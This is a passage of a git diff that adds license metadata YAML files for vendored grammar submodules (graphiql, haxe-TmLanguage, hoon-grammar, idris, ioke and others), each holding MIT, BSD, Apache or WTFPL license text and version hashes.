+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+notices: []
diff --git a/vendor/licenses/git_submodule/graphiql.dep.yml b/vendor/licenses/git_submodule/graphiql.dep.yml
new file mode 100644
index 0000000000..db58df6f37
--- /dev/null
+++ b/vendor/licenses/git_submodule/graphiql.dep.yml
@@ -0,0 +1,31 @@
+---
+name: graphiql
+version: 76b3cc872dedd667504f58c9313a86bada7688d6
+type: git_submodule
+homepage: https://github.com/graphql/graphiql.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) GraphQL Contributors
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/graphviz.tmbundle.dep.yml b/vendor/licenses/git_submodule/graphviz.tmbundle.dep.yml
new file mode 100644
index 0000000000..87357a0b02
--- /dev/null
+++ b/vendor/licenses/git_submodule/graphviz.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: graphviz.tmbundle
+version: d1d489f893a0e6ef5d9021bf7dc1ffd08b3f9b90
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/groovy.tmbundle.dep.yml b/vendor/licenses/git_submodule/groovy.tmbundle.dep.yml
new file mode 100644
index 0000000000..58e2e722fa
--- /dev/null
+++ b/vendor/licenses/git_submodule/groovy.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: groovy.tmbundle
+version: 6f903cacfb2d5397a350eeb73bc36b2c40f3da70
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/haxe-TmLanguage.dep.yml b/vendor/licenses/git_submodule/haxe-TmLanguage.dep.yml
new file mode 100644
index 0000000000..ddc166324a
--- /dev/null
+++ b/vendor/licenses/git_submodule/haxe-TmLanguage.dep.yml
@@ -0,0 +1,31 @@
+---
+name: haxe-TmLanguage
+version: ddad8b4c6d0781ac20be0481174ec1be772c5da5
+type: git_submodule
+homepage: https://github.com/vshaxe/haxe-TmLanguage
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2017 vshaxe contributors
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/holyc.tmbundle.dep.yml b/vendor/licenses/git_submodule/holyc.tmbundle.dep.yml
new file mode 100644
index 0000000000..1f91483fea
--- /dev/null
+++ b/vendor/licenses/git_submodule/holyc.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: holyc.tmbundle
+version: d080fd6e77a5068429a39ea09bad9f9a2bba2831
+license: unlicense
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/hoon-grammar.dep.yml b/vendor/licenses/git_submodule/hoon-grammar.dep.yml
new file mode 100644
index 0000000000..5eddf8af9b
--- /dev/null
+++ b/vendor/licenses/git_submodule/hoon-grammar.dep.yml
@@ -0,0 +1,31 @@
+---
+name: hoon-grammar
+version: 262617397fd058a8cc294ac7ece0b55e76638e12
+type: git_submodule
+homepage: https://github.com/pkova/hoon-grammar.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 Pyry Kovanen
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/iCalendar-sublime.dep.yml b/vendor/licenses/git_submodule/iCalendar-sublime.dep.yml
new file mode 100644
index 0000000000..c1e684f575
--- /dev/null
+++ b/vendor/licenses/git_submodule/iCalendar-sublime.dep.yml
@@ -0,0 +1,33 @@
+---
+name: iCalendar-sublime
+version: ee1aaa8a96cc72c45be5dbbb02ec8f994a414e23
+type: git_submodule
+homepage: https://github.com/kimsey0/iCalendar-sublime.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |+
+    The MIT License (MIT)
+
+    Copyright (c) 2015 kimsey0
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+
+notices: []
+...
diff --git a/vendor/licenses/git_submodule/ide-tools.dep.yml b/vendor/licenses/git_submodule/ide-tools.dep.yml
new file mode 100644
index 0000000000..2884a2585d
--- /dev/null
+++ b/vendor/licenses/git_submodule/ide-tools.dep.yml
@@ -0,0 +1,31 @@
+---
+name: ide-tools
+version: 04e0bad1bfaf74b1a8e98eb82a2e0b945e989dd1
+type: git_submodule
+homepage: https://github.com/toitware/ide-tools.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2021 Toit
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/idl.tmbundle.dep.yml b/vendor/licenses/git_submodule/idl.tmbundle.dep.yml
new file mode 100644
index 0000000000..ef0dfb328b
--- /dev/null
+++ b/vendor/licenses/git_submodule/idl.tmbundle.dep.yml
@@ -0,0 +1,38 @@
+---
+name: idl.tmbundle
+version: 6895ac67f83c14cf3d797a35888b72c8a8f6d278
+type: git_submodule
+homepage: https://github.com/mgalloy/idl.tmbundle
+license: bsd-3-clause
+licenses:
+- sources: COPYING.rst
+  text: |
+    This library is released under a BSD-type license.
+
+    Copyright (c) 2007-2013, Michael Galloy <mgalloy@idldev.com>
+
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+        a. Redistributions of source code must retain the above copyright notice,
+           this list of conditions and the following disclaimer.
+        b. Redistributions in binary form must reproduce the above copyright
+           notice, this list of conditions and the following disclaimer in the
+           documentation and/or other materials provided with the distribution.
+        c. Neither the name of Michael Galloy nor the names of its contributors
+           may be used to endorse or promote products derived from this software
+           without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/idris.dep.yml b/vendor/licenses/git_submodule/idris.dep.yml
new file mode 100644
index 0000000000..6f464ef14d
--- /dev/null
+++ b/vendor/licenses/git_submodule/idris.dep.yml
@@ -0,0 +1,31 @@
+---
+name: idris
+version: c3a9f006d8f717c3092fdc89f559710fbe4fa6f7
+type: git_submodule
+homepage: https://github.com/idris-hackers/idris-sublime.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License
+
+    Copyright (c) 2013-2015 Alexey Alekhin, Niklas Larsson
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/imba-linguist-grammar.dep.yml b/vendor/licenses/git_submodule/imba-linguist-grammar.dep.yml
new file mode 100644
index 0000000000..72955fc478
--- /dev/null
+++ b/vendor/licenses/git_submodule/imba-linguist-grammar.dep.yml
@@ -0,0 +1,31 @@
+---
+name: imba-linguist-grammar
+version: e00b073c71d55d5ca4841d5e22cdc47514103a23
+type: git_submodule
+homepage: https://github.com/imba/imba-linguist-grammar.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 Sindre
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/ini.tmbundle.dep.yml b/vendor/licenses/git_submodule/ini.tmbundle.dep.yml
new file mode 100644
index 0000000000..cbb4b63d72
--- /dev/null
+++ b/vendor/licenses/git_submodule/ini.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: ini.tmbundle
+version: 7d8c7b5544c48069a246fd2f43e965f06d03d3da
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/ink-tmlanguage.dep.yml b/vendor/licenses/git_submodule/ink-tmlanguage.dep.yml
new file mode 100644
index 0000000000..decf67a9ac
--- /dev/null
+++ b/vendor/licenses/git_submodule/ink-tmlanguage.dep.yml
@@ -0,0 +1,36 @@
+---
+name: ink-tmlanguage
+version: 246fba563dec373a1076894a4ee78b8e99ac160d
+type: git_submodule
+homepage: https://github.com/inkle/ink-tmlanguage.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2018-present Frédéric Maquin <fred@ephread.com>
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.md
+  text: |-
+    The grammar is released under the MIT license. See LICENSE for details.
+
+    This project borrows some code from [TypeScript-TmLanguage](https://github.com/Microsoft/TypeScript-TmLanguage), licensed under the [MIT license](https://github.com/Microsoft/TypeScript-TmLanguage/blob/4a620294f8652e4e3a4a605308650a52773ccec6/LICENSE.txt).
+notices: []
diff --git a/vendor/licenses/git_submodule/io.tmbundle.dep.yml b/vendor/licenses/git_submodule/io.tmbundle.dep.yml
new file mode 100644
index 0000000000..4e75dcc9c8
--- /dev/null
+++ b/vendor/licenses/git_submodule/io.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: io.tmbundle
+version: e8f7b3773544cfc14a7ede7344ed94683f7ed602
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/ioke-outdated.dep.yml b/vendor/licenses/git_submodule/ioke-outdated.dep.yml
new file mode 100644
index 0000000000..ba0d70405c
--- /dev/null
+++ b/vendor/licenses/git_submodule/ioke-outdated.dep.yml
@@ -0,0 +1,76 @@
+---
+type: git_submodule
+name: ioke-outdated
+version: 165ade05bce54881ec6408837dad9aed74720a7e
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2008-2009 Ola Bini, ola.bini@gmail.com
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- text: |-
+    Different parts of Ioke is covered by different licences and copyrights:
+
+    ikj:
+    The package ioke.lang is covered by the file LICENSE.
+    The package gnu.math is covered by the file LICENSE.kawa.
+    The package org.jregex and subpackages contains their own licensing information in the source files.
+    The package com.google.common and subpackages contain their own licensing information.
+
+    ikc:
+    The namepsace Ioke.Lang is covered by the file LICENSE.
+    The namespace Ioke.Math is covered by the file LICENSE.kawa.
+    The class Ioke.Math.BigDecimal and Ioke.Math.MathContext is covered by the file LICENSE.icu4j
+
+    Everything else is covered by the file LICENSE, unless noted.
+- text: |-
+    COPYRIGHT AND PERMISSION NOTICE
+
+    Copyright (c) 1995-2009 International Business Machines Corporation and others
+
+    All rights reserved.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, provided that the above copyright notice(s) and this permission notice appear in all copies of the Software and that both the above copyright notice(s) and this permission notice appear in supporting documentation.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+    Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization of the copyright holder.
+- text: |-
+    The software (with related files and documentation) in these packages
+    are copyright (C) 1996-2006  Per Bothner.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/ionide-fsgrammar.dep.yml b/vendor/licenses/git_submodule/ionide-fsgrammar.dep.yml
new file mode 100644
index 0000000000..159d0a105b
--- /dev/null
+++ b/vendor/licenses/git_submodule/ionide-fsgrammar.dep.yml
@@ -0,0 +1,31 @@
+---
+name: ionide-fsgrammar
+version: b38420f8569aa662b4862beb407a02e527e866c1
+type: git_submodule
+homepage: https://github.com/ionide/ionide-fsgrammar
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Krzysztof Cieslak
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/jade-tmbundle.dep.yml b/vendor/licenses/git_submodule/jade-tmbundle.dep.yml
new file mode 100644
index 0000000000..038c50d4c2
--- /dev/null
+++ b/vendor/licenses/git_submodule/jade-tmbundle.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: jade-tmbundle
+version: f311a516bb29296fcebfdc7da8149b1c79dfb0a1
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 David Rios
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/jasmin-sublime.dep.yml b/vendor/licenses/git_submodule/jasmin-sublime.dep.yml
new file mode 100644
index 0000000000..1c3a052401
--- /dev/null
+++ b/vendor/licenses/git_submodule/jasmin-sublime.dep.yml
@@ -0,0 +1,15 @@
+---
+name: jasmin-sublime
+version: f125d02eb2f1add70861516f49b060e40af946ef
+type: git_submodule
+homepage: https://github.com/atmarksharp/jasmin-sublime
+license: wtfpl
+licenses:
+- sources: LICENSE
+  text: "            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n                    Version
+    2, December 2004\n \n Everyone is permitted to copy and distribute verbatim or
+    modified\n copies of this license document, and changing it is allowed as long\n
+    as the name is changed.\n  \n            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n
+    \  TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n  \n  0. You
+    just DO WHAT THE FUCK YOU WANT TO.\n"
+notices: []
